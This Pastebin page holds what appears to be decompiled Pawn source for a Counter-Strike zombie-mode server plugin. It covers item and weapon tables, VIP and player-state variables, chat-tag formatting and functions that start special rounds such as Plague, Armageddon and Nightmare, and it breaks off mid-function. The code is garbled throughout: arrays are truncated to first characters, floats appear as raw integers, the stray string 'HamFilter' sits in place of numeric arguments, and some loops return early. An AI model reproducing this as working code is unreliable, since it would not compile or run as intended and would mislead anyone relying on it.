Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- new g_cZombieInfectSounds[5][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cEndRoundZombieSounds[4][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cEndRoundHumanSounds[3][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cStartRoundSurvivorSounds[2][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cStartRoundNemesisSounds[2][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cZombieBurnSounds[5][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_cHumanNadeInfectSounds[3][0] =
- {
- {
- 90, ...
- },
- {
- 90, ...
- },
- {
- 90, ...
- }
- };
- new g_HudColors[6][0] =
- {
- {
- 0, ...
- },
- {
- 128, ...
- },
- {
- 0, ...
- },
- {
- 255, ...
- },
- {
- 199, ...
- },
- {
- 17, ...
- }
- };
- new Float:g_fDamageCoords[8][0] =
- {
- {
- 1056964608, ...
- },
- {
- 1057971241, ...
- },
- {
- 1058642330, ...
- },
- {
- 1057971241, ...
- },
- {
- 1056964608, ...
- },
- {
- 1054951342, ...
- },
- {
- 1053609165, ...
- },
- {
- 1054951342, ...
- }
- };
- new Float:g_fSizes[70][0] =
- {
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 1065353216, ...
- },
- {
- -1082130432, ...
- },
- {
- -1082130432, ...
- },
- {
- 1065353216, ...
- },
- {
- 1065353216, ...
- },
- {
- 1065353216, ...
- },
- {
- -1082130432, ...
- },
- {
- 1065353216, ...
- },
- {
- -1082130432, ...
- },
- {
- -1082130432, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 1073741824, ...
- },
- {
- -1073741824, ...
- },
- {
- -1073741824, ...
- },
- {
- 1073741824, ...
- },
- {
- 1073741824, ...
- },
- {
- 1073741824, ...
- },
- {
- -1073741824, ...
- },
- {
- 1073741824, ...
- },
- {
- -1073741824, ...
- },
- {
- -1073741824, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 1077936128, ...
- },
- {
- -1069547520, ...
- },
- {
- -1069547520, ...
- },
- {
- 1077936128, ...
- },
- {
- 1077936128, ...
- },
- {
- 1077936128, ...
- },
- {
- -1069547520, ...
- },
- {
- 1077936128, ...
- },
- {
- -1069547520, ...
- },
- {
- -1069547520, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 1082130432, ...
- },
- {
- -1065353216, ...
- },
- {
- -1065353216, ...
- },
- {
- 1082130432, ...
- },
- {
- 1082130432, ...
- },
- {
- 1082130432, ...
- },
- {
- -1065353216, ...
- },
- {
- 1082130432, ...
- },
- {
- -1065353216, ...
- },
- {
- -1065353216, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 0, ...
- },
- {
- 1084227584, ...
- },
- {
- -1063256064, ...
- },
- {
- -1063256064, ...
- },
- {
- 1084227584, ...
- },
- {
- 1084227584, ...
- },
- {
- 1084227584, ...
- },
- {
- -1063256064, ...
- },
- {
- 1084227584, ...
- },
- {
- -1063256064, ...
- },
- {
- -1063256064, ...
- }
- };
- new g_cHumanModels[4][0] =
- {
- {
- 116, ...
- },
- {
- 103, ...
- },
- {
- 115, ...
- },
- {
- 97, ...
- }
- };
- new g_cFloodCommands[9][0] =
- {
- {
- 102, ...
- },
- {
- 101, ...
- },
- {
- 103, ...
- },
- {
- 101, ...
- },
- {
- 103, ...
- },
- {
- 103, ...
- },
- {
- 103, ...
- },
- {
- 103, ...
- },
- {
- 99, ...
- }
- };
- new g_cZombieModels[7][0] =
- {
- {
- 122, ...
- },
- {
- 122, ...
- },
- {
- 122, ...
- },
- {
- 122, ...
- },
- {
- 122, ...
- },
- {
- 122, ...
- },
- {
- 122, ...
- }
- };
- new g_iZombieHealths[7] =
- {
- 6000, 5250, 7500, 4250, 5500, 6000, 5450
- };
- new Float:g_fZombieGravities[7] =
- {
- 1065353216, 1064514355, 1066192077, 1058222899, 1065353216, 1061158912, 1058642330
- };
- new Float:g_fZombieSpeeds[7] =
- {
- 1132756992, 1134231552, 1131741184, 1132593152, 1132068864, 1133248512, 1133084672
- };
- new Float:g_fZombieKnockbacks[7] =
- {
- 1062501089, 1067869798, 1054951342, 1065353216, 1063507722, 1060152279, 1062668861
- };
- new g_cZombieClasses[7][14] =
- {
- {
- 67, 108, 97, 115, 105, 99, 0, 0, 0, 0, 0, 0, 0, 0
- },
- {
- 82, 97, 112, 116, 111, 114, 0, 0, 0, 0, 0, 0, 0, 0
- },
- {
- 77, 117, 116, 97, 110, 116, 0, 0, 0, 0, 0, 0, 0, 0
- },
- {
- 84, 105, 103, 104, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0
- },
- {
- 82, 101, 103, 101, 110, 101, 114, 97, 116, 111, 114, 0, 0, 0
- },
- {
- 80, 114, 101, 100, 97, 116, 111, 114, 32, 66, 108, 117, 101, 0
- },
- {
- 72, 117, 110, 116, 101, 114, 0, 0, 0, 0, 0, 0, 0, 0
- }
- };
- new g_cZombieAttribs[7][0] =
- {
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- }
- };
- new g_cExtraItems[25][0] =
- {
- {
- 65, ...
- },
- {
- 70, ...
- },
- {
- 70, ...
- },
- {
- 69, ...
- },
- {
- 73, ...
- },
- {
- 75, ...
- },
- {
- 77, ...
- },
- {
- 71, ...
- },
- {
- 83, ...
- },
- {
- 65, ...
- },
- {
- 78, ...
- },
- {
- 90, ...
- },
- {
- 74, ...
- },
- {
- 85, ...
- },
- {
- 65, ...
- },
- {
- 65, ...
- },
- {
- 77, ...
- },
- {
- 84, ...
- },
- {
- 71, ...
- },
- {
- 71, ...
- },
- {
- 83, ...
- },
- {
- 83, ...
- },
- {
- 78, ...
- },
- {
- 65, ...
- },
- {
- 75, ...
- }
- };
- new g_iExtraItemsPrices[25] =
- {
- 15, 4, 3, 4, 26, 42, 9, 11, 10, 9, 2, 15, 32, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
- };
- new g_cExtraItemsPrices[25][0] =
- {
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- }
- };
- new g_iExtraItemsTeams[25] =
- {
- 1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
- };
- new g_cShopItems[8][0] =
- {
- {
- 68, ...
- },
- {
- 66, ...
- },
- {
- 66, ...
- },
- {
- 49, ...
- },
- {
- 50, ...
- },
- {
- 51, ...
- },
- {
- 71, ...
- },
- {
- 65, ...
- }
- };
- new g_iShopItemsPrices[8] =
- {
- 120, 700, 2250, 160, 200, 280, 150, 180
- };
- new g_iShopItemsTeams[8] =
- {
- 2, 0, 0, 0, 0, 0, 2, 0
- };
- new g_cShopItemsPrices[8][0] =
- {
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- },
- {
- 92, ...
- }
- };
- new g_cSecondaryWeapons[6][0] =
- {
- {
- 85, ...
- },
- {
- 71, ...
- },
- {
- 80, ...
- },
- {
- 68, ...
- },
- {
- 69, ...
- },
- {
- 70, ...
- }
- };
- new g_cPrimaryWeapons[10][0] =
- {
- {
- 71, ...
- },
- {
- 70, ...
- },
- {
- 77, ...
- },
- {
- 65, ...
- },
- {
- 65, ...
- },
- {
- 83, ...
- },
- {
- 88, ...
- },
- {
- 77, ...
- },
- {
- 77, ...
- },
- {
- 80, ...
- }
- };
- new g_cSecondaryEntities[6][0] =
- {
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- }
- };
- new g_cPrimaryEntities[10][0] =
- {
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- },
- {
- 119, ...
- }
- };
- new g_iVoter;
- new Handle:g_hSQLTuple;
- new bool:g_bZombie[33];
- new g_iPlayerType[33];
- new bool:g_bFlashEnabled[33];
- new bool:g_bDoubleDamage[33];
- new bool:g_bServerSlot[33];
- new g_iMaxJumps[33];
- new bool:g_bAdminModel[33];
- new g_iBlinks[33];
- new g_iAntidoteSync;
- new g_iRegenerationSync;
- new bool:g_bFlash[33];
- new g_iRoundType;
- new g_iVariable;
- new bool:g_bTryder[33];
- new bool:g_bAlive[33];
- new g_iPoints[33];
- new g_iScore[33];
- new Float:g_fLastQuery;
- new g_iTimeLimit;
- new g_iKills[33];
- new g_iAliveCount;
- new bool:g_bUnlimitedClip[33];
- new bool:g_bKilling[33];
- new bool:g_bGolden[33];
- new g_iVersusSync;
- new g_iRounds[1024];
- new g_iRoundsCount;
- new g_iDeaths[33];
- new g_iOnlineTime[33];
- new Float:g_fLastTime[33];
- new g_cOnlineTime[33][32];
- new g_cClass[33][14];
- new g_iZombieClass[33];
- new g_iZombieNextClass[33];
- new bool:g_bFrozen[33];
- new bool:g_bRanked[33];
- new Data[33][5][128];
- new bool:Loaded[33];
- new bool:g_bAdmin[33];
- new g_cAdminFlags[33][42];
- new g_cName[33][32];
- new bool:g_bModeStarted;
- new g_cInternetProtocolAddress[33][24];
- new Float:g_fLastLeapTime[33];
- new Array:g_aNameData;
- new Array:g_aAmmoData;
- new g_iLastMode;
- new g_cRegisteredCharacter[32];
- new bool:g_bGoldenDeagle[33];
- new Float:g_fDamage[33];
- new g_iPacks[33];
- new g_iTopMessageSync;
- new Float:g_fGagTime[33];
- new g_iEventsHudmessage;
- new g_cQuery[256];
- new g_iBurningDuration[33];
- new g_iWeapon[33];
- new g_iJumps[33];
- new g_iDownMessageSync;
- new g_iMenu;
- new g_cVipNames[128][32];
- new g_cVipPasswords[128][32];
- new g_cVipFlags[128][32];
- new Float:g_fLastNameChanged[33];
- new g_iCounter;
- new bool:g_bConnected[33];
- new bool:g_bVoting;
- new g_iSecondaryWeapons[64];
- new bool:g_bGaveThisRound[33];
- new g_iPrimaryWeapons[64];
- new g_cSteam[33][24];
- new bool:g_bSecondVoting;
- new g_iVipsCount;
- new g_iDamageSync[8];
- new g_iVotes[7];
- new g_cMaps[7][32];
- new bool:g_bEnded;
- new g_cSecondMaps[5][32];
- new g_iSecondVotes[5];
- new g_iRanksCount;
- new g_iKillsThisRound[33];
- new bool:g_bRoundStart;
- new bool:g_bRoundEnd;
- new g_iMaxClients;
- new g_iPosition[33];
- new g_iGameMenu;
- new g_iSecondaryMenu;
- new g_iLeftSync[2];
- new g_iAdvertisementsSync;
- new g_iCenterMessageSync;
- new g_iPrimaryMenu;
- new g_cGlobalPassword[33][32];
- new g_iShopMenu;
- new g_iMenuZombieClasses;
- new g_iMenuExtraItems;
- new bool:g_bNoDamage[33];
- new Float:g_fLastChangedModel;
- new g_iTripMines[33];
- new g_iPlantedMines[33];
- new g_iSize;
- new bool:g_bVip[33];
- new g_cPersonalFlags[33][32];
- new g_iMessagePosition;
- new bool:g_bPlanting[33];
- new g_iCounterMessage;
- new bool:g_bRemoving[33];
- new g_iMineMessage;
- new g_iSecondMineMessage;
- new g_iPlayerMines[33][2];
- new g_cTag[128][24];
- new g_cAdvertisements[72][188];
- new g_iAdvertisementsCount;
- new bool:g_Hidden[33];
- new g_iMessage;
- new g_iOffset[33][2];
- new g_iArgumentPing[33][3];
- new g_iPingOverride[33] =
- {
- -1, ...
- };
- new bool:g_bSwitching;
- new Float:g_fRoundStartTime;
- new g_cModeRecordings[52][32];
- new g_iModeRecordings;
- new g_cNames[10][32];
- new g_iTracker;
- new g_Secret[32];
- new g_cPasswords[33][32];
- new g_cAddresses[10][24];
- new Float:g_fLast[33];
- new Float:g_fLastRankQuery;
- new Float:g_fLastBanQuery;
- new g_cHudAdvertisements[50][188];
- new g_iHudAdvertisementsCount;
- new g_iHudMessage;
- new g_iSnipers;
- new g_iSurvivors;
- new bool:g_bCachedDamage[33];
- new g_iRemainingSync;
- abs(x)
- {
- new var1;
- if (x > 0)
- {
- var1 = x;
- }
- else
- {
- var1 = -x;
- }
- return var1;
- }
- Float:operator*(Float:,_:)(Float:oper1, oper2)
- {
- return floatmul(oper1, float(oper2));
- }
- bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 < floatcmp(oper1, oper2);
- }
- bool:operator>(_:,Float:)(oper1, Float:oper2)
- {
- return 0 < floatcmp(float(oper1), oper2);
- }
- bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 <= floatcmp(oper1, oper2);
- }
- bool:operator<(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 > floatcmp(oper1, oper2);
- }
- bool:operator<(Float:,_:)(Float:oper1, oper2)
- {
- return 0 > floatcmp(oper1, float(oper2));
- }
- bool:operator<(_:,Float:)(oper1, Float:oper2)
- {
- return 0 > floatcmp(float(oper1), oper2);
- }
- replace_all(string[], len, what[], with[])
- {
- new pos;
- if ((pos = contain(string, what)) == -1)
- {
- return 0;
- }
- new total;
- new with_len = strlen(with);
- new diff = strlen(what) - with_len;
- new total_len = strlen(string);
- new temp_pos;
- while (replace(string[pos], len - pos, what, with))
- {
- pos = with_len + pos;
- total_len -= diff;
- if (!(pos >= total_len))
- {
- temp_pos = contain(string[pos], what);
- if (!(temp_pos == -1))
- {
- pos = temp_pos + pos;
- total++;
- }
- return total;
- }
- return total;
- }
- return total;
- }
- public __fatal_ham_error(Ham:id, HamError:err, reason[])
- {
- new func = get_func_id("HamFilter", -1);
- new bool:fail = 1;
- new var1;
- if (func != -1 && callfunc_begin_i(func, -1) == 1)
- {
- callfunc_push_int(id);
- callfunc_push_int(err);
- callfunc_push_str(reason, "HamFilter");
- if (callfunc_end() == 1)
- {
- fail = false;
- }
- }
- if (fail)
- {
- set_fail_state(reason);
- }
- return 0;
- }
- StripName(Name[])
- {
- new i;
- while (strlen(Name) > i)
- {
- Name[i] = tolower(Name[i]);
- if (!isalpha(Name[i]))
- {
- Name[i] = 95;
- }
- i++;
- }
- return 0;
- }
- LoadData(Player)
- {
- new Name[32];
- get_user_name(Player, Name, 31);
- StripName(Name);
- new FileLine[256];
- formatex(FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name);
- new File = fopen(FileLine, 315260);
- if (File)
- {
- new Row[256];
- new Key[128];
- new Value[128];
- new i;
- while (!feof(File))
- {
- fgets(File, Row, 255);
- trim(Row);
- if (Row[0] == 34)
- {
- parse(Row, Key, 127, Value, 127);
- if (i < 5)
- {
- formatex(Data[Player][i], 127, "%s", Value);
- }
- i++;
- }
- }
- fclose(File);
- Loaded[Player] = 1;
- }
- return 0;
- }
- VipHasFlag(iPlayer, iFlag)
- {
- new i;
- while (i < 32)
- {
- if (iFlag == g_cPersonalFlags[iPlayer][i])
- {
- return 1;
- }
- i++;
- }
- return 0;
- }
- public MessageSayText()
- {
- if (get_msg_args() == 4)
- {
- static iSender;
- iSender = get_msg_arg_int(1);
- new var1;
- if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
- {
- static cReplacement[189];
- static cPhrase[47];
- get_msg_arg_string(2, cPhrase, 46);
- if (equal(cPhrase, "#Cstrike_Chat_CT", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01(Counter-Terrorist) \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_T", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01(Terrorist) \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01*DEAD*(Counter-Terrorist) \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_T_Dead", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01*DEAD*(Terrorist) \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_Spec", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01(Spectator) \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_All", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_AllDead", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01*DEAD* \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- if (equal(cPhrase, "#Cstrike_Chat_AllSpec", "HamFilter"))
- {
- formatex(cReplacement, 188, "\x01*SPEC* \x04%s \x03%s\x01 : %s", g_cTag[iSender], "%s1", "%s2");
- set_msg_arg_string(2, cReplacement);
- }
- }
- }
- return 0;
- }
- StartSwarmMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 64;
- g_iRoundType = g_iRoundType | 64;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (!g_bAlive[i] || get_team(i) == 1)
- {
- }
- else
- {
- MakeZombie(0, i, true, false, false);
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk ZombieOutstanding/round_start_plague");
- set_hudmessage(20, 255, 20, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Swarm Round !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartPlagueMode(false);
- return 0;
- }
- StartPlagueMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 32;
- g_iRoundType = g_iRoundType | 32;
- static iNemesis;
- static iMaxNemesis;
- static i;
- static iMaxSurvivors;
- static iSurvivors;
- static iMaxZombies;
- static iZombies;
- iMaxSurvivors = 3;
- iMaxNemesis = 2;
- iZombies = 0;
- iNemesis = 0;
- iSurvivors = 0;
- while (iSurvivors < iMaxSurvivors)
- {
- i = GetRandomAlive();
- if (!(g_iPlayerType[i] & 4))
- {
- MakeHuman(i, true, false);
- iSurvivors += 1;
- set_health(i, 5750);
- }
- }
- while (iNemesis < iMaxNemesis)
- {
- i = GetRandomAlive();
- new var3;
- if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
- {
- MakeZombie(0, i, false, true, false);
- iNemesis += 1;
- set_health(i, 107500);
- }
- }
- iMaxZombies = floatround(1053609165 * g_iAliveCount + -5, 1);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var4;
- if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
- {
- if (random_num("HamFilter", 1))
- {
- MakeZombie(0, i, true, false, false);
- iZombies += 1;
- }
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var5;
- if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
- {
- }
- else
- {
- if (get_team(i) != 2)
- {
- g_bSwitching = true;
- set_team(i, 2);
- g_bSwitching = false;
- }
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk ZombieOutstanding/round_start_plague");
- set_hudmessage("HamFilter", 50, 200, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Plague Round !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartMultiMode(false);
- return 0;
- }
- StartMultiMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 16;
- g_iRoundType = g_iRoundType | 16;
- static i;
- static iMaxZombies;
- static iZombies;
- iZombies = 0;
- iMaxZombies = floatround(1043878380 * g_iAliveCount, 2);
- i = random_num(1, g_iMaxClients);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var3;
- if (!(!g_bAlive[i] || g_bZombie[i]))
- {
- if (random_num("HamFilter", 1))
- {
- MakeZombie(0, i, true, false, false);
- iZombies += 1;
- }
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var4;
- if (!g_bAlive[i] || g_bZombie[i])
- {
- }
- else
- {
- if (get_team(i) != 2)
- {
- g_bSwitching = true;
- set_team(i, 2);
- g_bSwitching = false;
- }
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk ZombieOutstanding/round_start_plague");
- set_hudmessage(200, 50, "HamFilter", -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Multiple Infections !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartArmageddonMode(false);
- return 0;
- }
- StartArmageddonMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 128;
- g_iRoundType = g_iRoundType | 128;
- static i;
- static iMaxZombies;
- static iZombies;
- iZombies = 0;
- iMaxZombies = floatround(1054951342 * g_iAliveCount, 1);
- i = random_num(1, g_iMaxClients);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var3;
- if (!(!g_bAlive[i] || g_bZombie[i]))
- {
- if (random_num("HamFilter", 1))
- {
- MakeZombie(0, i, false, true, false);
- set_health(i, 100000);
- iZombies += 1;
- }
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var4;
- if (!g_bAlive[i] || g_bZombie[i])
- {
- }
- else
- {
- MakeHuman(i, true, false);
- set_health(i, 8750);
- }
- i += 1;
- }
- if (random_num("HamFilter", 1))
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundSurvivorSounds[random_num("HamFilter", 1)]);
- }
- else
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundNemesisSounds[random_num("HamFilter", 1)]);
- }
- set_hudmessage(181, 62, 244, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Armageddon Round !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartNightmareMode(false);
- return 0;
- }
- StartNightmareMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 256;
- g_iRoundType = g_iRoundType | 256;
- static i;
- static iMaxAssassins;
- static iAssassins;
- static iMaxSnipers;
- static iSnipers;
- static iMaxNemesis;
- static iNemesis;
- iAssassins = 0;
- iSnipers = 0;
- iNemesis = 0;
- iMaxNemesis = floatround(1047904911 * g_iAliveCount, 1);
- iMaxAssassins = floatround(1047904911 * g_iAliveCount, 1);
- iMaxSnipers = floatround(1048576000 * g_iAliveCount, 2);
- i = random_num(1, g_iMaxClients);
- while (iNemesis < iMaxNemesis)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var3;
- if (!(!g_bAlive[i] || g_bZombie[i]))
- {
- if (random_num("HamFilter", 1))
- {
- MakeZombie(0, i, false, true, false);
- set_health(i, 105000);
- iNemesis += 1;
- }
- }
- }
- while (iAssassins < iMaxAssassins)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var4;
- if (!(!g_bAlive[i] || g_bZombie[i]))
- {
- if (random_num("HamFilter", 1))
- {
- MakeZombie(0, i, false, false, true);
- set_health(i, 21000);
- iAssassins += 1;
- }
- }
- }
- while (iSnipers < iMaxSnipers)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- new var5;
- if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
- {
- if (random_num("HamFilter", 1))
- {
- MakeHuman(i, false, true);
- set_health(i, 10500);
- iSnipers += 1;
- }
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var6;
- if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
- {
- }
- else
- {
- MakeHuman(i, true, false);
- set_health(i, 12500);
- }
- i += 1;
- }
- if (random_num("HamFilter", 1))
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundSurvivorSounds[random_num("HamFilter", 1)]);
- }
- else
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundNemesisSounds[random_num("HamFilter", 1)]);
- }
- set_hudmessage(241, 15, 244, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Nightmare Round !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartAssassinsVsSnipersMode(false);
- return 0;
- }
- StartAssassinsVsSnipersMode(bool:bForced)
- {
- new var1;
- if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
- {
- g_iLastMode = 512;
- g_iRoundType = g_iRoundType | 512;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i])
- {
- switch (get_team(i))
- {
- case 1:
- {
- MakeZombie(0, i, false, false, true);
- set_health(i, 31000);
- }
- case 2:
- {
- MakeHuman(i, false, true);
- set_health(i, 3850);
- }
- default:
- {
- }
- }
- }
- i += 1;
- }
- if (random_num("HamFilter", 1))
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundSurvivorSounds[random_num("HamFilter", 1)]);
- }
- else
- {
- client_cmd("HamFilter", "spk %s", g_cStartRoundNemesisSounds[random_num("HamFilter", 1)]);
- }
- set_hudmessage(221, 13, 64, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "Assassins vs Snipers Round !!");
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- static cTime[4];
- get_time("%H", cTime, "");
- if (cTime[0] != 48)
- {
- StartSniperMode(0);
- }
- else
- {
- new var3;
- if (cTime[0] == 48 && cTime[1] == 49)
- {
- StartSniperMode(0);
- }
- new var4;
- if (cTime[0] == 48 && cTime[1] == 50)
- {
- StartSniperMode(0);
- }
- StartAssassinMode(0);
- }
- return 0;
- }
- StartSniperMode(iPlayer)
- {
- new var1;
- if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
- {
- g_iLastMode = 8;
- g_iRoundType = g_iRoundType | 8;
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeHuman(i, false, true);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (g_bAlive[i] && !g_iPlayerType[i] & 8)
- {
